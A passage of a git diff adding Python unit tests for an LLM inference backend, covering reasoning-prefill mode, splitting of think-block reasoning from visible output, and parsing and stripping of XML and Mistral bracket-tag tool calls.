+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g5_enable_thinking_effort_included(self):
+        # G5: GLM-style enable_thinking_effort also prefills.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "enable_thinking_effort")
+        assert _sf_reasoning_prefill_mode(feats, None, self._QWEN_TPL) is True
+
+    def test_g6_non_reasoning_model(self):
+        # G6: no reasoning capability -> never prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(supports_reasoning = False, reasoning_style = None)
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g7_reasoning_always_on_prompt_opens_think(self):
+        # G7: always-on template whose generation prompt opens <think> -> prefilled regardless of the flag.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True
+
+    def test_g7b_reasoning_always_on_history_only_not_prefilled(self):
+        # G7b (#5704): always-on classification from rendered assistant HISTORY <think></think>
+        # (Kimi-K2-Thinking) whose generation prompt opens no <think>. Prefill mode would capture a
+        # normal answer entirely as reasoning_content and blank the visible answer, so it must be off.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False
+
+    def test_g8_gemma_bespoke_channel_excluded(self):
+        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled
+        # (would otherwise swallow the whole answer as reasoning). Regression guard.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False
+
+    def test_g9_missing_template_not_prefilled(self):
+        # G9: no template available -> conservative (not prefilled).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, None) is False
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
new file mode 100644
index 0000000000..af5a05d266
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -0,0 +1,349 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Safetensors/MLX reasoning-block parity with GGUF.
+
+enable_thinking templates (Qwen3/GLM) prefill an unclosed ``<think>`` so the model
+emits only the closing ``</think>`` then the answer; the safetensors stream must
+split the leading text into ``reasoning_content`` deltas (plain stream and tool
+loop), resetting per turn and appending only visible text to the monitor. Replays a
+copy of ``sf_tool_stream``'s reasoning loop against synthetic events.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from routes.inference import (
+    _ResponsesReasoningExtractor,
+    _sf_reasoning_prefill_mode,
+    _strip_tool_xml_for_display,
+)
+
+
+_THINK_TPL = "...<think>...</think>..."
+_ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+
+
+def test_prefill_mode_on_for_enable_thinking_default():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, _THINK_TPL) is True
+
+
+def test_prefill_mode_off_when_thinking_disabled():
+    assert _sf_reasoning_prefill_mode(_ETHINK, False, _THINK_TPL) is False
+
+
+def test_prefill_mode_off_for_reasoning_effort_none():
+    # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled mode
+    # would capture the whole answer as reasoning_content.
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none")
+        is False
+    )
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high")
+        is True
+    )
+
+
+def test_prefill_mode_off_without_think_markers():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, "no markers here") is False
+
+
+def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
+    """Mirror sf_tool_stream's reasoning loop: diff each cumulative ``content``
+    snapshot, feed the delta through the extractor, and reset (flushing first) on
+    ``tool_start`` / empty ``status`` so each turn splits independently."""
+    prev_text = ""
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = True, reasoning_prefilled = prefilled
+    )
+    reasoning_deltas: list[str] = []
+    visible_deltas: list[str] = []
+    monitor: list[str] = []
+    tool_starts: list[dict] = []
+    order: list[str] = []  # sequence of ("reasoning"|"visible"|"tool_start") events
+
+    def _flush():
+        fr, fv = extractor.finish()
+        if fr:
+            reasoning_deltas.append(fr)
+            order.append("reasoning")
+        if fv:
+            visible_deltas.append(fv)
+            monitor.append(fv)
+            order.append("visible")
+
+    for event in events:
+        etype = event["type"]
+        if etype == "status":
+            if not event["text"]:
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+            continue
+        if etype in ("tool_start", "tool_end"):
+            if etype == "tool_start":
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+                tool_starts.append(event)
+                order.append("tool_start")
+            continue
+        clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True)
+        new_text = clean[len(prev_text) :]
+        prev_text = clean
+        if not new_text:
+            continue
+        r, v = extractor.feed(new_text)
+        if r:
+            reasoning_deltas.append(r)
+            order.append("reasoning")
+        if v:
+            visible_deltas.append(v)
+            monitor.append(v)
+            order.append("visible")
+    _flush()
+    return {
+        "reasoning": "".join(reasoning_deltas),
+        "visible": "".join(visible_deltas),
+        "monitor": "".join(monitor),
+        "tool_starts": tool_starts,
+        "order": order,
+    }
+
+
+def test_s1_plain_stream_splits_prefilled_reasoning():
+    # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only.
+    events = [
+        {"type": "content", "text": "Let me compute 17*23"},
+        {"type": "content", "text": "Let me compute 17*23 = 391</think>The answer is 391."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "Let me compute 17*23 = 391"
+    assert out["visible"] == "The answer is 391."
+    assert out["monitor"] == "The answer is 391."
+    assert "<think>" not in out["reasoning"] and "</think>" not in out["visible"]
+
+
+def test_s2_reasoning_flushed_before_tool_start():
+    # S2: reasoning streamed as reasoning_content, then flushed BEFORE tool_start.
+    events = [
+        {"type": "content", "text": "I should search"},
+        {"type": "content", "text": "I should search Sydney weather</think>"},
+        {"type": "tool_start", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "tool_end", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "Found it</think>Sydney is 21C today."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    # Both turns' reasoning surfaced, answer only from turn 2.
+    assert "I should search Sydney weather" in out["reasoning"]
+    assert "Found it" in out["reasoning"]
+    assert out["visible"] == "Sydney is 21C today."
+    assert out["monitor"] == "Sydney is 21C today."
+    # Ordering: the pre-tool reasoning is emitted before the tool_start.
+    assert out["order"].index("reasoning") < out["order"].index("tool_start")
+
+
+def test_s3_extractor_resets_each_turn():
+    # S3: multi-turn -> the two turns' reasoning are distinct (fresh extractor each).
+    events = [
+        {"type": "content", "text": "turn1 thoughts</think>partial"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "turn2 thoughts</think>final answer"},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "turn1 thoughtsturn2 thoughts"
+    assert out["visible"] == "partialfinal answer"
+
+
+def test_s4_harmony_full_tags_normal_mode():
+    # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False).
+    events = [{"type": "content", "text": "<think>reasoning here</think>visible answer"}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == "reasoning here"
+    assert out["visible"] == "visible answer"
+
+
+def test_s5_thinking_off_no_reasoning_deltas():
+    # S5: thinking disabled -> not prefilled, no </think>, all content is visible.
+    events = [{"type": "content", "text": "Just the plain answer, no thinking."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == ""
+    assert out["visible"] == "Just the plain answer, no thinking."
+    assert out["monitor"] == "Just the plain answer, no thinking."
+
+
+def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
+    # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and
+    # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so
+    # prefilled mode must be OFF. Otherwise the model emits no </think> and a plain
+    # answer is swallowed whole into reasoning_content, leaving the visible response
+    # empty (the exact bug: prefilled=True below eats the whole answer).
+    feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False
+    # Thinking on (effort level or default) still prefills.
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "high") is True
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, None) is True
+    # An explicit enable_thinking=False also disables (unchanged).
+    assert _sf_reasoning_prefill_mode(feats, False, _THINK_TPL, "high") is False
+    # reasoning_always_on wins regardless of reasoning_effort.
+    always = {**feats, "reasoning_always_on": True}
+    assert _sf_reasoning_prefill_mode(always, None, _THINK_TPL, "none") is True
+    # Plain enable_thinking models (Qwen) have no "none" sentinel; unaffected.
+    plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True
+
+    # End-to-end: with the corrected prefilled=False, a plain no-</think> answer is
+    # emitted as visible content rather than swallowed into the thinking drawer.
+    events = [{"type": "content", "text": "The capital of France is Paris."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["visible"] == "The capital of France is Paris."
+    assert out["reasoning"] == ""
+    # The buggy prefilled=True path is what swallowed the whole answer (guard the delta).
+    swallowed = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert swallowed["visible"] == ""
+    assert swallowed["reasoning"] == "The capital of France is Paris."
+
+
+def test_native_reasoning_streamer_selected_and_errors_raise():
+    import threading
+    import pytest
+
+    torch = pytest.importorskip("torch")
+    inf = pytest.importorskip("core.inference.inference")
+
+    class Batch(dict):
+        def to(self, _device):
+            return self
+
+    class Tok:
+        chat_template = "<|channel>thought\n...<channel|>"
+        all_special_tokens = []
+        eos_token_id = 1
+        pad_token_id = None
+        pieces = {10: "<|channel>thought\n", 11: "r", 12: "<channel|>", 13: "a"}
+
+        def __call__(self, *_args, **_kwargs):
+            return Batch({"input_ids": torch.zeros((1, 1), dtype = torch.long)})
+
+        def decode(self, ids, **_kwargs):
+            return "".join(self.pieces.get(int(token_id), "") for token_id in ids)
+
+    class Model:
+        device = "cpu"
+        generation_config = type("Cfg", (), {"eos_token_id": 1})()
+        config = generation_config
+
+        def __init__(self, fail = False):
+            self.fail = fail
+            self.kwargs = None
+
+        def generate(self, **kwargs):
+            self.kwargs = kwargs
+            streamer = kwargs["streamer"]
+            streamer.put(torch.zeros((1, 1), dtype = torch.long))
+            for token_id in [10, 11, 12, 13]:
+                streamer.put(torch.tensor([token_id]))
+                if self.fail:
+                    raise RuntimeError("boom")
+
+    backend = inf.InferenceBackend.__new__(inf.InferenceBackend)
+    backend.active_model_name = "gemma-test"
+    backend._generation_lock = threading.Lock()
+    backend.models = {"gemma-test": {"model": Model(), "tokenizer": Tok()}}
+
+    assert list(backend.generate_stream("prompt", max_new_tokens = 4))[-1] == "<think>r</think>a"
+
+    backend.models["gemma-test"]["model"] = Model(fail = True)
+
+    with pytest.raises(inf._GenerationThreadError, match = "boom"):
+        list(backend.generate_stream("prompt", max_new_tokens = 4))
+
+
+def test_text_only_vlm_fallback_resolves_native_markers_off():
+    import threading
+    import pytest
+
+    torch = pytest.importorskip("torch")
+    inf = pytest.importorskip("core.inference.inference")
+
+    class Batch(dict):
+        def to(self, _device):
+            return self
+
+    class Tokenizer:
+        all_special_tokens = []
+        eos_token_id = 1
+        pad_token_id = None
+
+        def __call__(self, *_args, **_kwargs):
+            return Batch({"input_ids": torch.zeros((1, 1), dtype = torch.long)})
+
+    class Processor:
+        chat_template = "<|channel>thought\n...<channel|>"
+        tokenizer = Tokenizer()
+
+    class Model:
+        device = "cpu"
+        generation_config = type("Cfg", (), {"eos_token_id": 1})()
+        config = generation_config
+
+        def generate(self, **_kwargs):
+            return None
+
+    class EmptyStreamer:
+        def __next__(self):
+            raise StopIteration
+
+        def end(self):
+            return None
+
+    captured = {}
+    backend = inf.InferenceBackend.__new__(inf.InferenceBackend)
+    backend.active_model_name = "vision-test"
+    backend._generation_lock = threading.Lock()
+    backend.models = {
+        "vision-test": {
+            "model": Model(),
+            "processor": Processor(),
+            "tokenizer": Processor(),
+        }
+    }
+    backend.format_chat_prompt = lambda *_args, **_kwargs: "manual text-only prompt"
+
+    def make_streamer(*_args, **kwargs):
+        captured.update(kwargs)
+        return EmptyStreamer()
+
+    backend._make_text_streamer = make_streamer
+
+    assert (
+        list(
+            backend._generate_vision_response(
+                messages = [{"role": "user", "content": "hello"}],
+                system_prompt = "",
+                image = None,
+                temperature = 0.7,
+                top_p = 0.9,
+                top_k = 40,
+                min_p = 0.0,
+                max_new_tokens = 1,
+                repetition_penalty = 1.0,
+            )
+        )
+        == []
+    )
+    assert captured["reasoning_channel_markers"] is None
+    assert captured["reasoning_channel_markers_resolved"] is True
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 3f2d49f0dd..915f82ac8e 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -115,6 +115,22 @@ class TestParser:
         assert result[0]["function"]["name"] == "python"
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        import json
+
+        # Only the wrapping newline is trimmed; code-argument indentation survives.
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_xml_unclosed(self):
         # Closing tags omitted; parser must still extract the value.
         text = "<function=terminal><parameter=command>ls -la"
@@ -138,6 +154,20 @@ class TestParser:
         assert len(result) == 1
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        # Only the wrapping newline is trimmed, so code-argument indentation survives (str.strip() destroyed it).
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_function_signal_inside_parameter_is_literal(self):
         text = (
             "<function=python>"
@@ -169,6 +199,8 @@ class TestParser:
         assert has_tool_signal("blah <tool_call> x")
         assert has_tool_signal("blah <|tool_call>call:terminal")
         assert has_tool_signal("hi <function=foo>...")
+        assert has_tool_signal("ok [TOOL_CALLS]web_search{...")
+        assert has_tool_signal("fine python[ARGS]{...")
         assert not has_tool_signal("hello world")
 
     def test_render_html_start_detector_uses_first_tool(self):
@@ -183,12 +215,59 @@ class TestParser:
             '<tool_call>{"name":"python","arguments":{"code":"<function=render_html>"}}'
         )
 
+    def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self):
+        # The provisional render-html card must fire for bracket-tag forms too, not only XML.
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":"<html>"}')
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}')
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]'
+        )
+        assert _detect_render_html_tool_start('render_html[ARGS]{"code":"<html>"}')
+        # A different first tool (or a prose mention with no JSON body) must not fire.
+        assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}')
+        assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}')
+        assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}')
+        assert not _detect_render_html_tool_start("use render_html[ARGS] to render")
+
+    def test_render_html_start_detector_skips_think_block_rehearsal(self):
+        # A render_html rehearsed inside think must not fire the card; the outside-think call decides.
+        assert not _detect_render_html_tool_start(
+            '<think>draft render_html[ARGS]{"code":"x"}</think>python[ARGS]{"code":"print(1)"}'
+        )
+        assert not _detect_render_html_tool_start(
+            '[THINK]render_html[ARGS]{"code":"x"}[/THINK]web_search[ARGS]{"q":"y"}'
+        )
+        # A real render_html AFTER a rehearsed non-render_html inside think still fires.
+        assert _detect_render_html_tool_start(
+            '<think>web_search[ARGS]{"q":"x"}</think>render_html[ARGS]{"code":"<html>"}'
+        )
+        # A render_html rehearsed inside think with no real call after does not fire.
+        assert not _detect_render_html_tool_start('<think>render_html[ARGS]{"code":"x"}</think>')
+
+    def test_render_html_start_detector_reads_top_level_array_name(self):
+        # Array form: the name is the object's top-level ``"name"``, not an argument key.
+        assert not _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"render_html"},"name":"python"}]'
+        )
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"python"},"name":"render_html"}]'
+        )
+
     def test_strip_markup_closed(self):
         text = "before <tool_call>{}</tool_call> after"
         assert strip_tool_markup(text) == "before  after"
         text = 'before <|tool_call>call:terminal{command:"ls"}<tool_call|> after'
         assert strip_tool_markup(text) == "before  after"
 
+    def test_strip_named_mistral_call_consumes_trailing_eos(self):
+        # The named ``[TOOL_CALLS]name{json}`` shape must eat the optional
+        # trailing ``</s>`` like the array shape, so the EOS marker is not left
+        # behind as visible content.
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s>'
+        assert strip_tool_markup(text) == ""
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s> and then'
+        assert strip_tool_markup(text) == " and then"
+
     def test_strip_markup_unclosed_final(self):
         text = "before <tool_call>{partial"
         # final=True drops the trailing run.
@@ -214,6 +293,849 @@ class TestParser:
             == "before "
         )
 
+    # Mistral [TOOL_CALLS] bracket-tag.
+
+    def test_mistral_bracket_basic(self):
+        # Devstral / Mistral-Small fallback when bypassing native FC.
+        text = '[TOOL_CALLS]web_search{"query":"weather"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert isinstance(result[0]["function"]["arguments"], str)
+        assert "weather" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_inside_unclosed_think_is_ignored(self):
+        """Rehearsal-shaped markup inside an unclosed <think> block must
+        not be executed as a real tool call. Mid-stream the </think>
+        tag has not arrived yet, so the strip regex has to accept
+        end-of-string as a terminator. Regression for the Gemini
+        high-severity flag on this PR."""
+        text = (
+            "<think>I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.'
+        )
+        result = parse_tool_calls_from_text(text)
+        # Inside an unclosed think block no calls are yielded.
+        assert result == []
+
+    def test_rehearsal_inside_unclosed_bracket_think_is_ignored(self):
+        text = "[THINK]planning to use python[ARGS]" '{"code":"print(1)"} but not yet.'
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_rehearsal_after_closed_think_still_parsed(self):
+        text = "<think>planning</think>" 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_inside_prefilled_think_is_ignored(self):
+        """Reasoning models (Qwen3.5 enable_thinking) open <think> in the PROMPT,
+        so generated content starts inside the thought and carries only a closing
+        </think>. A call rehearsed in that leading thought must be skipped, while a
+        real call after the close still fires."""
+        text = 'planning web_search[ARGS]{"query":"draft"}</think>python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_literal_close_think_in_leading_argument_not_prefill(self):
+        """A </think> literal inside a real leading call's arguments must not be
+        read as a prefilled-reasoning close (which would skip the call)."""
+        text = 'web_search[ARGS]{"query":"what is </think>"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_stray_close_after_real_call_not_treated_as_prefill(self):
+        """A real leading call followed by a stray </think> and no further call is
+        a normal answer, not prefilled reasoning; the call must still fire (the
+        virtual span only applies when a real call follows the close)."""
+        text = 'Now web_search[ARGS]{"query":"x"}</think> answer'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_with_whitespace(self):
+        # Optional whitespace (incl. newlines) between the name and the opening brace.
+        text = '[TOOL_CALLS]python  \n  {"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_mistral_bracket_nested_json(self):
+        # Brace-balance scan handles nested objects and braces inside string literals.
+        text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        import json as _json
+
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "a {nested} brace"
+        assert args["opts"] == {"limit": 5}
+
+    def test_mistral_bracket_with_prose(self):
+        # Bracket-tag surrounded by prose is still recognised.
+        text = (
+            "Sure, I will look that up.\n"
+            '[TOOL_CALLS]web_search{"query":"weather"}\n'
+            "Calling now."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_bad_json_dropped(self):
+        text = "[TOOL_CALLS]web_search{not valid}"
+        result = parse_tool_calls_from_text(text)
+        # No usable tool call; callers fall back to text.
+        assert result == []
+
+    def test_mistral_bracket_object_with_array_value(self):
+        # Args must be a JSON object; a dict wrapping an array value is accepted.
+        text = '[TOOL_CALLS]web_search{"opts":[1,2,3]}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Rehearsal syntax name[ARGS]{json}.
+
+    def test_rehearsal_basic(self):
+        text = 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_with_prose(self):
+        text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_bad_json_dropped(self):
+        text = "python[ARGS]{not valid json}"
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_mistral_bracket_hyphenated_mcp_name(self):
+        # Dashed MCP names must be captured whole, not truncated at the first dash.
+        text = '[TOOL_CALLS]mcp__srv__list-issues{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_rehearsal_hyphenated_mcp_name(self):
+        text = 'mcp__srv__list-issues[ARGS]{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_streaming_strip_removes_partial_bracket_marker(self):
+        # A bracket tag streamed before its opening brace must strip on the final pass, not leak.
+        assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer"
+        assert strip_tool_markup("text python[ARGS]", final = True) == "text"
+        # Non-final must keep the in-progress tag buffered (not yet stripped).
+        partial = "answer [TOOL_CALLS]web_search"
+        assert strip_tool_markup(partial, final = False) == partial
+
+    def test_strip_removes_two_level_nested_bracket_call_keeps_prose(self):
+        # Two-level-nested args must be removed whole; the balanced scan handles any depth.
+        text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+        assert strip_tool_markup(text, final = False) == "before  after"
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_strip_removes_call_with_literal_think_in_argument(self):
+        # A literal think block inside arguments strips with the call, not as a reasoning block.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_strip_preserves_real_think_but_strips_call_with_literal_think(self):
+        text = (
+            "<think>planning</think> ok "
+            '<tool_call>{"name":"w","arguments":{"t":"<think>x</think>"}}</tool_call> done'
+        )
+        out = strip_tool_markup(text, final = True)
+        assert "<think>planning</think>" in out
+        assert "<tool_call>" not in out and '"name"' not in out
+        assert "ok" in out and "done" in out
+
+    def test_prose_mentioning_args_marker_is_not_truncated(self):
+        # ``foo[ARGS] to the template`` is prose; the catch-all must not delete the sentence.
+        text = "Please pass foo[ARGS] to the template and continue reading."
+        assert strip_tool_markup(text, final = True) == text
+
+    def test_streaming_strip_handles_mistral_v11_call_id_args(self):
+        # The streaming strip uses the regex patterns directly, so they must cover the v11
+        # [CALL_ID]/[ARGS] metadata (aligned with the parser).
+        raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+        assert "before" in out and "after" in out
+
+    # <think> pre-strip.
+
+    def test_think_block_stripped_before_xml(self):
+        # The think block is stripped before matching so the post-thinking call is recognised.
+        text = (
+            "<think>I will use web_search to find the weather.</think>"
+            '<tool_call>{"name":"web_search","arguments":{"query":"sf"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_think_block_stripped_before_bracket_tag(self):
+        text = (
+            "<think>Let me search for that.</think>\n" '[TOOL_CALLS]web_search{"query":"weather"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_uppercase_think_tag_stripped(self):
+        # Some templates use [THINK]...[/THINK] instead of <think>.
+        text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_think_block_hides_inner_tool_call(self):
+        # A call mentioned inside think is a rehearsal; the wrapper strip removes the inner markup.
+        text = (
+            "<think>I might call "
+            '<tool_call>{"name":"web_search","arguments":{}}</tool_call> '
+            "but I am not sure</think>\n"
+            "Let me just answer directly."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_think_literal_inside_real_tool_argument_is_preserved(self):
+        # A real call whose argument contains a literal think tag must not be corrupted.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["text"] == (
+            "compare <think> and </think> tags"
+        )
+
+    def test_bracket_tag_argument_with_think_literal_is_preserved(self):
+        text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks"
+
+    def test_real_call_after_think_with_rehearsal_inside(self):
+        # A rehearsal inside <think> is skipped, but the real call after the close tag parses.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think>search[ARGS]{"q":"real"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "real"
+
+    # XML takes precedence over bracket-tag.
+
+    def test_xml_wins_over_bracket(self):
+        # When a model emits both forms in one message, the XML form is canonical and wins.
+        text = (
+            '<tool_call>{"name":"primary","arguments":{}}</tool_call>'
+            '[TOOL_CALLS]secondary{"k":"v"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "primary"
+
+    # Strip patterns include bracket-tag and rehearsal.
+
+    def test_strip_bracket_tag_closed(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"hi"} after'
+        assert "[TOOL_CALLS]" not in strip_tool_markup(text)
+        assert "before" in strip_tool_markup(text)
+        assert "after" in strip_tool_markup(text)
+
+    def test_strip_rehearsal_closed(self):
+        text = 'prose python[ARGS]{"code":"x"} more prose'
+        cleaned = strip_tool_markup(text)
+        assert "[ARGS]" not in cleaned
+        assert "prose" in cleaned
+        assert "more prose" in cleaned
+
+    def test_strip_bracket_tag_unclosed_final(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"part'
+        # Final-mode strip drops the trailing unclosed run.
+        cleaned = strip_tool_markup(text, final = True)
+        assert "TOOL_CALLS" not in cleaned
+        assert cleaned == "before"
+
+    # Canonical Mistral array, v11 [CALL_ID], unified multi-call (PR review fixes).
+
+    def test_mistral_canonical_array_is_parsed(self):
+        # Canonical multi-call array: every call must parse (was dropped then deleted to EOS).
